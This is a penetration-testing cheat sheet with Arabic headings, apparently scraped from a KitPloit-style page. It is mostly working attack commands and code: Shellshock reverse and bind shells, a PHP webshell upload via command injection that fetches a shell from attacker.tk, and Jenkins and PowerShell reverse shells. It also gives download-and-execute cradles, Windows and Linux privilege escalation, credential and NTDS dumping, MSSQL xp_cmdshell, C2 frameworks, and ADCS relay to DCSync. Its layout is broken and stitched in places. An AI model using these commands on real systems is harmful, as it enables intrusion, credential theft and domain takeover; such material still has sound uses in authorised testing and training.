+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

اجتياز NAT عبر Tor```

install to server

$ apt-get install tor torsocks

bind ssh to tor service port 80

/etc/tor/torrc

SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion

ssh connect from client

$ apt-get install torsocks $ torsocks ssh [email protected] -p 80

root@kitploit:~
### هجوم القوة العمياء على DNS باستخدام fierce```
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil أداة جمع البيانات الوصفية```

http://www.edge-security.com/metagoofil.php

#automate search engine document retrieval and analysis. It also has the capability to provide MAC

addresses, username listings, and more

$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

root@kitploit:~
### أفضل إستراتيجية لمسح NMAP```
# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – تقنيات تجاوز الجدران النارية```

fragmentation

$ nmap -f

change default MTU size number must be a multiple of 8 (8,16,24,32 etc)

$ nmap --mtu 24

Generates a random number of decoys

$ nmap -D RND:10 [target]

Manually specify the IP addresses of the decoys

$ nmap -D decoy1,decoy2,decoy3 etc.

Idle Zombie Scan, first t need to find zombie ip

$ nmap -sI [Zombie IP] [Target IP]

Source port number specification

$ nmap --source-port 80 IP

Append Random Data to scan packages

$ nmap --data-length 25 IP

MAC Address Spoofing, generate different mac for host pc

$ nmap --spoof-mac Dell/Apple/3Com IP

root@kitploit:~
### استغلال الخوادم لـ Shellshock```
# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

الجذر مع Docker```

get root with docker

user must be in docker group

ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:$ mkdir docker-test ek@victum:$ cd docker-test

ek@victum:~$ cat > Dockerfile FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR << EOF

ek@victum:$ docker build -t my-docker-image . ek@victum:$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami

root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

root@kitploit:~
### نفق عبر DNS لتجاوز جدار الحماية```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

تجميع كود الأسمبلي```

nasm -f elf32 simple32.asm -o simple32.o ld -m elf_i386 simple32.o simple32

nasm -f elf64 simple.asm -o simple.o ld simple.o -o simple

root@kitploit:~
### التنقل إلى الشبكة الداخلية عبر شل غير تفاعلية```
# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator هي أداة اختراق بالقوة متعددة الأغراض```

git clone https://github.com/lanjelot/patator.git /usr/share/patator

SMTP bruteforce

$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

root@kitploit:~
### طرفية ويب Metasploit عبر Gotty```
$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

الحصول على شل كامل مع POST RCE```

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

download reverse shell to server (phpshell.php)

http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

run nc and execute phpshell.php

attacker:~$ nc -nvlp 1337

root@kitploit:~
### Exiftool - قراءة وكتابة المعلومات الوصفية في الملفات```
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

الحصول على SYSTEM مع Admin reverse_shell على Win7```

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings net user

download psexec to kali

https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

upload psexec.exe file onto the victim machine with powershell script

echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

upload danger.exe file onto the victim machine with powershell script

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

UAC bypass from precompiled binaries:

https://github.com/hfiref0x/UACME

upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

create listener on kali

nc -lvp 4444

Use Akagi64 to run the danger.exe file with SYSTEM privileges

Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

create listener on kali

nc -lvp 4444

The above step should give us a reverse shell with elevated privileges

Use PsExec to run the danger.exe file with SYSTEM privileges

psexec.exe –i –d –accepteula –s danger.exe

root@kitploit:~
### الحصول على صلاحيات SYSTEM باستخدام reverse_shell لمستخدم عادي على Win7```
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

إنشاء ملف dic الخاص بنا استناداً إلى محتوى الموقع```

$ cewl -m 4 -w dict.txt http://site.url $ john --wordlist=dict.txt --rules --stdout

root@kitploit:~
### تخمين سجلات DNS باستخدام Nmap```
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

تحديد WAF باستخدام Nmap```

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102 $ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102 $ wafw00f www.hamza.com

root@kitploit:~
### MS08-067 - بدون استخدام Metasploit```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

فحص Nikto باستخدام SQUID proxy```

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

root@kitploit:~
### اختطاف المسار الكامل لملف ثنائي في باش لتنفيذ الكود الخاص بك```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
# It works ;)

تصعيد الامتيازات المحلية من خلال MySQL يعمل بصلاحيات الجذر```

Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

$ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:$ su - Password: user:# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
### هجوم القوة العمياء على تسجيل الدخول SSH باستخدام patator```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

استخدام LD_PRELOAD لحقن الميزات في البرامج```

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

root@kitploit:~
### استغلال هجوم توقيت تعداد المستخدمين في OpenSSH```
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

إنشاء دائرة TCP عبر طلبات HTTP مكونة بشكل صحيح باستخدام ReDuh```

https://github.com/sensepost/reDuh

step 1

upload reDuh.jsp to victim server

$ http://192.168.10.50/uploads/reDuh.jsp

step 2

run reDuhClient on attacker

$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

step 3

connecting to management port with nc

$ nc -nvv 127.0.0.1 1010

step 4

forward localport to remote port with tunnel

[createTunnel] 7777:172.16.0.4:3389

step 5

connect to localhost with rdp

$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

root@kitploit:~
# شل عكسي لجينكينز```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

شل عكسية لـ Powershell

تغيير عنوان IP والمنفذ / نسخة محدودة``` $sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

root@kitploit:~
# تنزيل الملف إلى جهاز الضحية```
cmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\Temp\shell.exe && C:\temp\shell.exe
root@kitploit:~
powershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString("http://127.0.0.1/shell.ps1")

هجوم MSSQL

اكتشاف الخدمة

Nmap``` nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

root@kitploit:~
**MetaSploit**```
msf > use auxiliary/scanner/mssql/mssql_ping

التعداد قم بدمج كلمات مرور المستخدمين التي تم جمعها بطرق أخرى في قاموس لتعداد أجهزة MSSQL في المجال.

Nmap``` nmap -n -sV -Pn -vv -p --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA _mssql.txt nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1 nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1 Hydra hydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u -s

root@kitploit:~
**MetaSploit**```
msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login
Set it up PASS_FILE and RHOSTS.

PowerUpSQL``` Invoke-SQLAuditWeakLoginPw

root@kitploit:~
**FScrack**```
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

استغلال

Nmap``` nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.10

root@kitploit:~
**MetaSploit**```
msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql 
Rebound
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp 

MSDAT جميع ما تم تضمينه أعلاه يمكن اختباره باستخدام MSDAT فقط.
الحصول على شل``` msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell mssql_shell python script

root@kitploit:~
**بايثون [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) سكريبت**```
Usage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD

Sqsh
اتصل بالخدمة``` sqsh -S mssql -D MyDB -U DOMAIN\testuser -P MyTestingClearPassword1

root@kitploit:~
ثم```
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

C&C

Merlin

قم بتجميع وتشغيل الخادم``` $ cd merlin/cmd/merlinserver $ go build $ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443

root@kitploit:~
تجميع الوكيل```
$ cd merlin/cmd/merlinagent
$ sudo GOOS=windows GOARCH=386 go build

إنشاء شهادة``` $ cd merlin/data/x509 $ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=lab.com" -days 365

root@kitploit:~
## Koadic```
$ cd koadic
$ ./koadic
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

        -{ COM Command & Control }-
      Windows Post-Exploitation Tools
             Endless Intellect

            ~[ Version:  0xA ]~
            ~[ Stagers:    5 ]~
            ~[ Implants:  33 ]~

(koadic: sta/js/mshta)$ info

        NAME        VALUE               REQ     DESCRIPTION     
        -----       ------------        ----    -------------   
        SRVHOST     192.168.1.11        yes     Where the stager should call home
        SRVPORT     9999                yes     The port to listen for stagers on
        EXPIRES                         no      MM/DD/YYYY to stop calling home
        KEYPATH                         no      Private key for TLS communications
        CERTPATH                        no      Certificate for TLS communications
        MODULE                          no      Module to run once zombie is staged

(koadic: sta/js/mshta)$ set SRVPORT 1245
[+] SRVPORT => 1245
(koadic: sta/js/mshta)$ run 
[+] Spawned a stager at http://192.168.1.11:1245/c26qp
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.11:1245/c26qp

PHP Tiny Webshell```

//http://127.0.0.1/shell.php??0=command
root@kitploit:~
# تنزيل ملف إلى جهاز الضحية```
bitsadmin  /transfer mydownloadjob  /download  /priority normal  ^http://example.com/filename.zip  C:\Users\username\Downloads\filename.zip

المونولوج الداخلي

استرجاع تجزئات NTLM دون لمس LSASS

https://github.com/eladshamir/Internal-Monologue

NTDS - وحدة تحكم المجال

تفريغ وتعداد NTDS.dit - ملف يحتوي على معلومات حول مستخدمي Active Directory (تجزئات!).``` powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

root@kitploit:~
تفريغ الهاشات```
/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

شل تفاعلي مع nc```

rlwrap nc -nlvp PORT

root@kitploit:~
# نصائح وحيل
### RCE POC
يمكننا استخدام الحيل التالية كدليل على إثبات الاختراق عن بعد (في بعض المهام، يطلب العميل إجراء اختبارات محدودة على أدلة إثبات الاختراق عن بعد).
## Ping
جهاز المختبِر```bash
tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8

أثناء تشغيل الاستغلال```bash ping

root@kitploit:~
يمكنك تحديد عدد مرات الإرسال باستخدام الوسيط -c، إذا تم تلقي طلبات ICMP، فقد تم تحقيق تنفيذ التعليمات البرمجية عن بعد (RCE)

## Curl
تنفيذ الأوامر واستقبال البيانات عبر طلب POST```bash
curl -d "$(id)" 127.0.0.1:9988

تلقي البيانات```bash nc -nlvp 9988

root@kitploit:~
## Burpsuite Collaborator 
استخدم burpcollaborator كـ POC
* Linux```bash
curl <burp-collaborator.com>
  • Windows```bash mshta <burp-collaborator.com>
root@kitploit:~
تنزيل الأداة

Rubeus.exe asktgt /user: /certificate: /ptt Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

Now you can use the TGT to perform a DCSync

mimikatz> lsadump::dcsync /user:krbtgt

root@kitploit:~
  • الإصدار 2: NTLM Relay + Mimikatz + Kekeo ```powershell impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

    Mimikatz

    mimikatz> misc::efs /server:dc.lab.local /connect: /noauth

    Kekeo

    kekeo> base64 /input:on kekeo> tgt::ask /pfx: /user:dc$ /domain:lab.local /ptt

    Mimikatz

    mimikatz> lsadump::dcsync /user:krbtgt

    root@kitploit:~
  • الإصدار 3: ترحيل Kerberos ```ps1

    Setup the relay

    sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

    Run mitm6

    sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

    root@kitploit:~
  • الإصدار 4: ADCSPwn - يتطلب تشغيل خدمة WebClient على وحدة تحكم المجال. بشكل افتراضي، هذه الخدمة غير مثبتة. ```powershell https://github.com/bats3c/ADCSPwn adcspwn.exe --adcs --port [local port] --remote [computer] adcspwn.exe --adcs cs.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

    ADCSPwn arguments

    adcs - This is the address of the AD CS server which authentication will be relayed to. secure - Use HTTPS with the certificate service. port - The port ADCSPwn will listen on. remote - Remote machine to trigger authentication from. username - Username for non-domain context. password - Password for non-domain context. dc - Domain controller to query for Certificate Templates (LDAP). unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . output - Output path to store base64 generated crt.

    root@kitploit:~
  • الإصدار 5: Certipy ESC8 ```ps1 certipy relay -ca 172.16.19.100

    root@kitploit:~